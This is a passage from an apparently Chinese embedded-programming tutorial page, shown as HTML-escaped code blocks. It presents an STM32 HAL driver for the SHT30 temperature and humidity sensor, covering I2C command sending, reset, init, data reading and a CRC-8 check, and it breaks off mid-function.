\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2322\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2329\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2737\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2721\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x272A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式读取数据命令 */\u003c/span\u003e READOUT_FOR_PERIODIC_MODE \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xE000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e SHT30_CMD\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* INC_SHT30_H_ */\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"主要文件-sht30-c\"\u003e\u003ca href=\"#主要文件-sht30-c\" class=\"headerlink\" title=\"主要文件 sht30.c\"\u003e\u003c/a\u003e主要文件 \u003ccode\u003esht30.c\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e先包含主要的一些头文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stdio.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"i2c.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sht30.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送指令\"\u003e\u003ca href=\"#发送指令\" class=\"headerlink\" title=\"发送指令\"\u003e\u003c/a\u003e发送指令\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 向SHT30发送一条指令(16bit) * @param cmd —— SHT30指令(在SHT30_MODE中枚举定义) * @retval 成功返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_CMD cmd\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd \u003cspan class=\"token operator\"\u003e\u003e\u003e\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"复位SHT30\"\u003e\u003ca href=\"#复位SHT30\" class=\"headerlink\" title=\"复位SHT30\"\u003e\u003c/a\u003e复位SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 复位SHT30 * @param none * @retval none*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSOFT_RESET_CMD\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"初始化SHT30\"\u003e\u003ca href=\"#初始化SHT30\" class=\"headerlink\" title=\"初始化SHT30\"\u003e\u003c/a\u003e初始化SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003e\u0026#x2F;** * @brief 初始化SHT30 * @param none * @retval 成功返回HAL_OK * @note 周期测量模式*\u0026#x2F;uint8_t SHT30_Init(void) \u0026#123;return sht30_send_cmd(MEDIUM_2_CMD);\u0026#125;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"读取数据\"\u003e\u003ca href=\"#读取数据\" class=\"headerlink\" title=\"读取数据\"\u003e\u003c/a\u003e读取数据\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 从SHT30读取一次数据 * @param dat —— 存储读取数据的地址(6个字节数组) * @retval 成功 —— 返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eREADOUT_FOR_PERIODIC_MODE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"CRC-8校验\"\u003e\u003ca href=\"#CRC-8校验\" class=\"headerlink\" title=\"CRC-8校验\"\u003e\u003c/a\u003eCRC-8校验\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eCRC8_POLYNOMIAL\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x31\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//余数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//循环变量\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 初始化 */\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ej \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ej\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e^=\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ej\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 从最高位开始依次计算 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eCRC8_POLYNOMIAL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 返回计算的CRC码 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"温湿度转换-1\"\u003e\u003ca href=\"#温湿度转换-1\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 将SHT30接收的6个字节数据进行CRC校验,并转换为温度值和湿度值 * @param dat —— 存储接收数据的地址(6个字节数组) * @retval 校验成功 —— 返回0 * 校验失败 —— 返回1,并设置温度值和湿度值为0*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 校验温度数据和湿度数据是否接收正确 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e 